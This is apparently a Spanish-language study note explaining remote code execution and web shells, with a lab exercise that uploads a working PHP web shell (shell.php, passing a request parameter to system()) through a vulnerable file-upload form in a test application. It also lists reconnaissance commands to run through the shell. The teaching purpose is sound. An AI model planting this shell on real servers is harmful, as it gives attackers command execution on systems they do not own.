Ciberseguridad
Web-Shell y RCE
Ataques
Remote Code Execution
Que podamos ejecutar código no significa automáticamente que tengamos privilegios de administrador. Importa con qué cuenta corre el proceso y qué puede alcanzar desde ahí. El laboratorio se lee con ese contexto.
RCE significa ejecución remota de código: una parte remota consigue ejecutar código en el sistema objetivo. El proceso conserva sus permisos y restricciones; control total o exfiltración son consecuencias posibles, no garantías de cualquier RCE.
Web shell
Una web shell es código del lado del servidor que permite interactuar remotamente con ese servidor, por ejemplo ejecutando comandos. Puede llegar por una subida de archivos vulnerable u otra vía; no necesita una interfaz gráfica. Moverse a otro host o usarlo como pivote requiere acceso y condiciones adicionales. MITRE, T1505.003.
Test
Para ejemplificar podemos descargar el Online Railway Reservation System de codeastro.com
El apunte original lo utilizó como objetivo del ejercicio. No he confirmado que el paquete actual corresponda a esa versión ni que se diseñara deliberadamente como aplicación vulnerable.
Lo montamos en nuestra máquina de pruebas y nos vamos a alguna parte que nos requiera subir un archivo:

Le vamos a cargar shell.php:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="command" autofocus id="command" size="50">
<input type="submit" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['command']))
{
system($_GET['command'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
El ejemplo entrega el parámetro command a system() y muestra su salida. Requiere que el servidor interprete PHP y que esa función esté disponible; guardar o subir el archivo no demuestra ejecución. No contiene autenticación ni escape de salida, así que es material del laboratorio aislado, no un componente para publicar. PHP, system(). La captura corresponde al ejercicio original.
De ahí podriamos correr whoami, ls, hostname, uname -a, etc.
+----------------------------------------+
| Floure & |
| Tachibana's guild |
| [Hikari · Nozomi] |
| SEAL: sha256/12: 722ef5847fd6 |
| STATUS: LITURGY_IN_PROGRESS |
+----------------------------------------+
Conexiones
Desde este apunte · 0
Sin enlaces salientes a otras notas.